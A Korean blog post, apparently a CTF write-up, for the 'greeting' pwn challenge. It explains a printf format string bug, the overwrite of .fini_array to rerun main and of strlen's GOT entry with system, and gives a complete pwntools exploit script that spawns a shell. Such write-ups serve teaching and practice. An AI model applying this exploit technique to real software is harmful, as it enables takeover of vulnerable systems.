KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[TWMMA CTF 2016] Pwn greeting

kdhzoot 2018. 11. 7. 14:01
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]
 
  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(&v5, 64) )
    return puts("Don't ignore me ;( ");
  sprintf(&s, "Nice to meet you, %s :)\n"&v5);
  return printf(&s);
}
cs


printf(&s) 에서 포멧스트링버그가 발생한다.


 

여기서 system 함수의 주소를 다른 함수의 got에 덮어씌워 쉘을 실행시키려했는데 

printf 함수가 마지막 호출되므로 그 다음에 실행할 수 있는 함수가 없다.

따라서 main을 두번 실행시켜야한다. 



프로그램이 종료될 때 .fini_array 에 들어있는 주소를 따라가 함수를 실행시킨다. 

따라서 .fini_array의 값을 main함수고 덮어씌우면 main함수를 한번 더 실행 가능하다.



1
2
3
4
5
6
7
8
9
10
size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [esp+1Ch] [ebp-Ch]
 
  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}
cs


getnline 함수를 보면 system("/bin/sh")로 조작하기 편해보이는 함수가 존재한다.

strlen(s)



첫번째 main함수에서 strlen의 got값을 system함수로 덮어씌워주고

두번째 main함수에서 s를 "/bin/sh"로 입력한다면 쉘이 따진다.



exploit 과정


>>> 첫번째 main

1. fini_array의 값을 main함수의 시작주소로 덮어씌운다.

2. strlen의 got를 system의 주소로 덮어씌운다.

>>> 두번째 main

3. "/bin/sh"를 입력한다.



exploit 코드



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
 
local = True
if local:
    p = process("./greeting")
    e = ELF("./greeting")
else:
    p = remote("pwnable.kr",9010)
 
fini_array = 0x8049934
strlen_got = e.got["strlen"]
 
print p.recv(2222)
pay = "A"*2
pay += p32(fini_array)
pay += p32(fini_array+0x2#28
pay += p32(strlen_got)
pay += p32(strlen_got+0x2#36 
pay += "%"+str(0x0804-36)+"c"
pay += "%13$hn%15$hn"
pay += "%"+str(0x8490-0x0804)+"c"
pay += "%14$hn"
pay += "%"+str(0x85ed-0x8490)+"c"
pay += "%12$hn"
p.sendline(pay)
 
p.recvuntil(":)")
 
print p.recv(2222)
p.sendline("/bin/sh")
 
p.interactive()
cs


'정보보안 > CTF' 카테고리의 다른 글

[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08
[DEFCON CTF 2016] xkcd  (0) 2018.11.07